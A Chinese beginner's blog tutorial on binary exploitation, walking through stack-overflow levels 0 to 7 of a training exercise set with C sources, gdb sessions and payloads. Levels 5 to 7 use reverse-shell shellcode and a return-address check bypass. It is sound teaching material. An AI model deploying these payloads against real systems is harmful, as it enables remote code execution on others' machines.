f10@t's blog

入坑Pwn之基本知识

字数统计: 3.6k阅读时长: 19 min
2019/09/29

经过了多次比赛web的碰壁,发现现在单纯的web题已经很少见了。。大多都混合了如密码学、逆向等的知识。所以打算入坑pwn,打开新的大门。

要准备的工具(带后续补充)

  • 逆向分析及动态调试用:IDAPro,Ollydbg
  • 调试用:gdb,peda-gdb(或pwngdb这类基于gdb),objdump
  • 其他工具:ROPgadget,one_gadget,LibcSearcher, pwntools

简单示例习题

题目来源

Level0

题目源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];

modified = 0;
gets(buffer);

if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
可以看到这个程序中有一个大小为64字节的buffer变量,以及一int型的变量modified。正常来说这个程序的执行肯定是输出"Try again?"。

但是这两个变量具有相同的栈底地址,并且buffer变量的输入是通过使用了一个不安全的函数gets(),这个函数之所以危险,是因为这个函数没有限制输入内容的上限,所以可以通过输入超过64字节的buffer变量来覆盖modified变量。

先扔进IDA里看一下反编译的代码:

可以看到变量数组和整型变量之间的地址相差5CH - 10H = 4CH = 76字节,所以用76个字节的数组输入之后,再填充一个非0的值就可以覆盖modified的变量值了。

Level1

Level1和Level0大同小异,Level1的区别是在代码中没有使用gets()这样的不推荐使用的危险函数,但是以不恰当的方式使用了strcpy()这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];

if(argc == 1) {
errx(1, "please specify an argument\n");
}

modified = 0;
strcpy(buffer, argv[1]);

if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
可以看到他将输入的参数argv直接拷贝进了buffer,而参数的长度也没有事先的进行检查。这个属于复制和连接字符串上的错误,其他如strcat()、sprintf()也可能会发生(推荐参考图书《C和C++安全编码》)

这段代码要求modified变量的值为十六进制的0x61626364,与上题相同,这里只给出payload(注意小端序):

结果:

Level2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;

variable = getenv("GREENIE");

if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}

modified = 0;

strcpy(buffer, variable);

if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}

}

这个也是大同小异,只不过增加了环境变量这个概念,下面是getevn函数的说明:

1
2
3
4
......
DESCRIPTION
The getenv() function searches the environment list to find the environment variable name, and returns a pointer to the corresponding value string.
......
当然这个从环境中获取的变量值的长度也是没有设定的,这里写一个简单的脚本,输出一个环境变量就可以了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python 
#coding:utf-8

import os

payload = 'a' * 64 + '\x0a\x0d\x0a\x0d'
os.putenv("GREENIE", payload)
os.system("./level2")

'''
help on built-in function putenv in module posix:

putenv(...)
putenv(key, value)

Change or add an environment variable.

'''

Level3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];

fp = 0;

gets(buffer);

if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}

扔进IDA:

算出地址差为40H即64字节。

使用objdump -d命令找到win()函数的地址为0x08048424

注意一下小端序就可以了。这个简单的实例题演示了如何通过溢出覆写变量来改变程序的流程。

Level4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
char buffer[64];

gets(buffer);
}

这道题目虽然没有其他可以覆盖的变量来进行函数的跳转,但是我们可以通过溢出来覆写main函数的返回地址,从而来改变程序的执行流程,下面进行gdb的调试来判断栈的空间大小:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$ gdb -q level4
Reading symbols from level4...
gdb-peda$ pattern_create 100 #创建一个保证可以溢出的长度的字符串用于输入
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /root/Desktop/PwnStudy/Level0-7/level4
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd1d0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EBX: 0x0
ECX: 0xf7fa25c0 --> 0xfbad2288
EDX: 0xf7fa401c --> 0x0
ESI: 0xf7fa2000 --> 0x1d6d6c
EDI: 0xf7fa2000 --> 0x1d6d6c
EBP: 0x65414149 ('IAAe')
ESP: 0xffffd220 ("AJAAfAA5AAKAAgAA6AAL")
EIP: 0x41344141 ('AA4A')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41344141
[------------------------------------stack-------------------------------------]
0000| 0xffffd220 ("AJAAfAA5AAKAAgAA6AAL")
0004| 0xffffd224 ("fAA5AAKAAgAA6AAL")
0008| 0xffffd228 ("AAKAAgAA6AAL")
0012| 0xffffd22c ("AgAA6AAL")
0016| 0xffffd230 ("6AAL")
0020| 0xffffd234 --> 0x0
0024| 0xffffd238 --> 0xf7fa2000 --> 0x1d6d6c
0028| 0xffffd23c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41344141 in ?? ()
gdb-peda$ pattern_offset 0x41344141
1093943617 found at offset: 76 #获得偏移量76

然后我们验证一下是否栈的空间大小就是76:

石锤了,那就objdump查找win函数的地址,覆写上去就好,payload:

  

Level5

1
2
3
4
5
6
7
8
9
10
11
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
char buffer[64];

gets(buffer);
}

这个就更简洁了,那我们的目的就是执行一段我们插入的恶意代码了。下面进行gdb的调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
gdb-peda$ pattern_create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ r
Starting program: /root/Desktop/PwnStudy/Level0-7/level5
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xffffd1d0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
EBX: 0x0
ECX: 0xf7fa25c0 --> 0xfbad2288
EDX: 0xf7fa401c --> 0x0
ESI: 0xf7fa2000 --> 0x1d6d6c
EDI: 0xf7fa2000 --> 0x1d6d6c
EBP: 0x65414149 ('IAAe')
ESP: 0xffffd220 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
EIP: 0x41344141 ('AA4A')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41344141
[------------------------------------stack-------------------------------------]
0000| 0xffffd220 ("AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0004| 0xffffd224 ("fAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0xffffd228 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0012| 0xffffd22c ("AgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0xffffd230 ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0020| 0xffffd234 ("AAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0xffffd238 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0028| 0xffffd23c ("MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41344141 in ?? ()
gdb-peda$ pattern_offset 0x41344141
1093943617 found at offset: 76 #溢出大小为76字节
gdb-peda$ x/100xw $esp #查看栈内前100个存储单元的内容,以16进制(x)每次4字节(w)的格式打印出来
0xffffd220: 0x41414a41 0x35414166 0x414b4141 0x41416741
0xffffd230: 0x4c414136 0x41684141 0x41413741 0x6941414d
0xffffd240: 0x41384141 0x41414e41 0x3941416a 0x414f4141
0xffffd250: 0x41416b41 0x6c414150 0x41514141 0x41416d41
0xffffd260: 0x6f414152 0x41534141 0x41417041 0x71414154
0xffffd270: 0x41554141 0x41417241 0x74414156 0x41574141
0xffffd280: 0x41417541 0x76414158 0x41594141 0x41417741
0xffffd290: 0x7841415a 0x41794141(注意这里) 0xffffd200 0x080483f0
0xffffd2a0: 0x080483e0 0xf7fe42d0 0xffffd2ac 0x0000001c
0xffffd2b0: 0x00000001 0xffffd468 0x00000000 0xffffd48f
0xffffd2c0: 0xffffd4b0 0xffffd4d6 0xffffd524 0xffffd57a
0xffffd2d0: 0xffffd58d 0xffffd5a7 0xffffd5b8 0xffffd5cb
0xffffd2e0: 0xffffd5fc 0xffffd606 0xffffd61c 0xffffd633
0xffffd2f0: 0xffffd63e 0xffffd656 0xffffd66a 0xffffd69d
0xffffd300: 0xffffd6a8 0xffffd6b7 0xffffd6d3 0xffffd710
0xffffd310: 0xffffd71d 0xffffd737 0xffffd74b 0xffffd777
0xffffd320: 0xffffd78f 0xffffd79c 0xffffd7b9 0xffffd7ca
0xffffd330: 0xffffd80c 0xffffd828 0xffffd83d 0xffffd84e
0xffffd340: 0xffffd863 0xffffd872 0xffffd880 0xffffd895
0xffffd350: 0xffffd8a9 0xffffd8cf 0xffffd8f3 0xffffd90a
0xffffd360: 0xffffd91e 0xffffd92f 0xffffd93a 0xffffd942
0xffffd370: 0xffffd969 0xffffd97e 0xffffd989 0xffffd991
0xffffd380: 0xffffd9b1 0xffffdf93 0xffffdfbc 0xffffdfc5
0xffffd390: 0x00000000 0x00000020 0xf7fd3070 0x00000021
0xffffd3a0: 0xf7fd2000 0x00000010 0x1f8bfbff 0x00000006

在确定了溢出的大小为76字节后,我们查看一下栈内的内容,(使用x/命令),可以看到从0xffffd220到0xffffd298都是我们填充的内容,往后都不是了,所以我们可以插入的shellcode的大小为(0xffffd298 - oxffffd220) = 120个字节。这里我去exploit-db上随便找了一个107字节的shellcode,其目的是反弹一个shell到本地的4444端口,下面是payload:
1
2
3
4
5
6
7
8
9
10
11
#输出payload到一个文件
echo `python -c "print 'A' * 76 + '\x20\xd2\xff\xff' +'\x31\xc0\x31\xdb\x50\x40\x50\x40\x50\x89\xe1\xb0\x33\x04\x33\x43\xcd\x80\x89\xc6\x31\xc0\x50\xc6\x04\x24\x7f\xc6\x44\x24\x03\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\xb0\x33\x04\x33\x50\x51\x56\x89\xe1\x43\xcd\x80\x31\xd2\x87\xca\xb1\x03\x89\xf3\x31\xc0\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x51\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80'"` > test.txt

#本地开启监听
nc -l -p 4444

#gdb中将文件作为输入进行读取
gdb-peda$ r < test.txt
Starting program: /root/Desktop/PwnStudy/Level0-7/level5 < test.txt
process 4629 is executing new program: /usr/bin/dash

shell反弹之后就可以执行任意命令了:  

Level6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
char buffer[64];
unsigned int ret;

printf("input path please: "); fflush(stdout);

gets(buffer);

ret = __builtin_return_address(0); //__builtin_return_address(0)的含义是,得到当前函数返回地址

if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}

printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
getpath();

}

首先进行偏移量的确认和可写入大小的确认:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
gdb-peda$ pattern_create 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'
gdb-peda$ r
Starting program: /root/Desktop/PwnStudy/Level0-7/level6
input path please: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%
got path AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAJAAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x136
EBX: 0x0
ECX: 0x7ffffeca
EDX: 0xf7fa4010 --> 0x0
ESI: 0xf7fa2000 --> 0x1d6d6c
EDI: 0xf7fa2000 --> 0x1d6d6c
EBP: 0x41344141 ('AA4A')
ESP: 0xffffd210 ("fAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA"...)
EIP: 0x41414a41 ('AJAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414a41
[------------------------------------stack-------------------------------------]
0000| 0xffffd210 ("fAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA"...)
0004| 0xffffd214 ("AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%"...)
0008| 0xffffd218 ("AgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%K"...)
0012| 0xffffd21c ("6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA"...)
0016| 0xffffd220 ("AAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0020| 0xffffd224 ("A7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0024| 0xffffd228 ("MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
0028| 0xffffd22c ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414a41 in ?? ()
gdb-peda$ pattern_offset 0x41414a41
1094797889 found at offset: 80
gdb-peda$ x/200xw $esp
shellcode地址 ---> 0xffffd210: 0x35414166 0x414b4141 0x41416741 0x4c414136
0xffffd220: 0x41684141 0x41413741 0x6941414d 0x41384141
0xffffd230: 0x41414e41 0x3941416a 0x414f4141 0x41416b41
0xffffd240: 0x6c414150 0x41514141 0x41416d41 0x6f414152
0xffffd250: 0x41534141 0x41417041 0x71414154 0x41554141
0xffffd260: 0x41417241 0x74414156 0x41574141 0x41417541
0xffffd270: 0x76414158 0x41594141 0x41417741 0x7841415a
0xffffd280: 0x41794141 0x25417a41 0x73254125 0x41422541
0xffffd290: 0x25412425 0x4325416e 0x412d2541 0x25412825
0xffffd2a0: 0x3b254144 0x41292541 0x25414525 0x30254161
0xffffd2b0: 0x41462541 0x25416225 0x47254131 0x41632541
0xffffd2c0: 0x25413225 0x64254148 0x41332541 0x25414925
0xffffd2d0: 0x34254165 0x414a2541 0x25416625 0x4b254135
0xffffd2e0: 0x41672541 0x25413625(到这里) 0xffffd600 0xffffd633
0xffffd2f0: 0xffffd63e 0xffffd656 0xffffd66a 0xffffd69d
0xffffd300: 0xffffd6a8 0xffffd6b7 0xffffd6d3 0xffffd710
0xffffd310: 0xffffd71d 0xffffd737 0xffffd74b 0xffffd777
0xffffd320: 0xffffd78f 0xffffd79c 0xffffd7b9 0xffffd7ca
0xffffd330: 0xffffd80c 0xffffd828 0xffffd83d 0xffffd84e
0xffffd340: 0xffffd863 0xffffd872 0xffffd880 0xffffd895
0xffffd350: 0xffffd8a9 0xffffd8cf 0xffffd8f3 0xffffd90a
0xffffd360: 0xffffd91e 0xffffd92f 0xffffd93a 0xffffd942
0xffffd370: 0xffffd969 0xffffd97e 0xffffd989 0xffffd991
0xffffd380: 0xffffd9b1 0xffffdf93 0xffffdfbc 0xffffdfc5
结论:偏移量是80字节,可控大小为200字节。

这道题主要就是防止eip转到栈上去执行shell,主要是绕过0xbf000000这个检测(linux下的栈都是0xbf开头)。解决的方法是我们可以使用getpath()函数的ret指令来覆盖main函数的返回地址,当弹出ret到eip时,会执行ret指令(ret的地址是0x08开头,可以绕过上面的限制),再弹出栈头的数据到eip,这时如果栈头是shellcode的地址,那么就溢出成功了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#查看getpath函数的ret指令地址:
gdb-peda$ disassemble getpath
Dump of assembler code for function getpath:
0x08048484 <+0>: push ebp
0x08048485 <+1>: mov ebp,esp
0x08048487 <+3>: sub esp,0x68
0x0804848a <+6>: mov eax,0x80485d0
0x0804848f <+11>: mov DWORD PTR [esp],eax
0x08048492 <+14>: call 0x80483c0 <printf@plt>
0x08048497 <+19>: mov eax,ds:0x8049720
0x0804849c <+24>: mov DWORD PTR [esp],eax
0x0804849f <+27>: call 0x80483b0 <fflush@plt>
0x080484a4 <+32>: lea eax,[ebp-0x4c]
0x080484a7 <+35>: mov DWORD PTR [esp],eax
0x080484aa <+38>: call 0x8048380 <gets@plt>
0x080484af <+43>: mov eax,DWORD PTR [ebp+0x4]
0x080484b2 <+46>: mov DWORD PTR [ebp-0xc],eax
0x080484b5 <+49>: mov eax,DWORD PTR [ebp-0xc]
0x080484b8 <+52>: and eax,0xbf000000
0x080484bd <+57>: cmp eax,0xbf000000
0x080484c2 <+62>: jne 0x80484e4 <getpath+96>
0x080484c4 <+64>: mov eax,0x80485e4
0x080484c9 <+69>: mov edx,DWORD PTR [ebp-0xc]
0x080484cc <+72>: mov DWORD PTR [esp+0x4],edx
0x080484d0 <+76>: mov DWORD PTR [esp],eax
0x080484d3 <+79>: call 0x80483c0 <printf@plt>
0x080484d8 <+84>: mov DWORD PTR [esp],0x1
0x080484df <+91>: call 0x80483a0 <_exit@plt>
0x080484e4 <+96>: mov eax,0x80485f0
0x080484e9 <+101>: lea edx,[ebp-0x4c]
0x080484ec <+104>: mov DWORD PTR [esp+0x4],edx
0x080484f0 <+108>: mov DWORD PTR [esp],eax
0x080484f3 <+111>: call 0x80483c0 <printf@plt>
0x080484f8 <+116>: leave
0x080484f9 <+117>: ret <--- \xf9\x84\x04\x08

# shellcode的地址
0xffffd210 在上面

那么最终payload的格式是这样的:'A' * 80 | ret指令地址 | shellcode的地址 | 隔离'\x90' * 10| shellcode

我还是用上面的那个shellcode来构造最终的payload:

1
2
# 输出paylaod 804835f
echo `python -c "print 'A' * 80 + '\x5f\x83\x04\x08' +'\x10\xd2\xff\xff' + '\x31\xc0\x31\xdb\x50\x40\x50\x40\x50\x89\xe1\xb0\x33\x04\x33\x43\xcd\x80\x89\xc6\x31\xc0\x50\xc6\x04\x24\x7f\xc6\x44\x24\x03\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\xb0\x33\x04\x33\x50\x51\x56\x89\xe1\x43\xcd\x80\x31\xd2\x87\xca\xb1\x03\x89\xf3\x31\xc0\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x51\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80'"` > payload6.txt

Level7

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
char buffer[64];
unsigned int ret;

printf("input path please: "); fflush(stdout);

gets(buffer);

ret = __builtin_return_address(0);

if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}

printf("got path %s\n", buffer);
return strdup(buffer);
}

int main(int argc, char **argv)
{
getpath();

}

paylaod同上:

1
echo `python -c "print 'A' * 80 + '\x83\x83\04\x08' + '\x00\xd2\xff\xff' + '\x90'*20 + '\x31\xc0\x31\xdb\x50\x40\x50\x40\x50\x89\xe1\xb0\x33\x04\x33\x43\xcd\x80\x89\xc6\x31\xc0\x50\xc6\x04\x24\x7f\xc6\x44\x24\x03\x01\x66\x68\x11\x5c\x43\x66\x53\x89\xe1\xb0\x33\x04\x33\x50\x51\x56\x89\xe1\x43\xcd\x80\x31\xd2\x87\xca\xb1\x03\x89\xf3\x31\xc0\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\xb0\x3f\x49\xcd\x80\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x51\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80'"` > payload7.txt

CATALOG
  1. 1. 要准备的工具(带后续补充)
  2. 2. 简单示例习题
    1. 2.1. Level0
    2. 2.2. Level1
    3. 2.3. Level2
    4. 2.4. Level3
    5. 2.5. Level4
    6. 2.6. Level5
    7. 2.7. Level6
    8. 2.8. Level7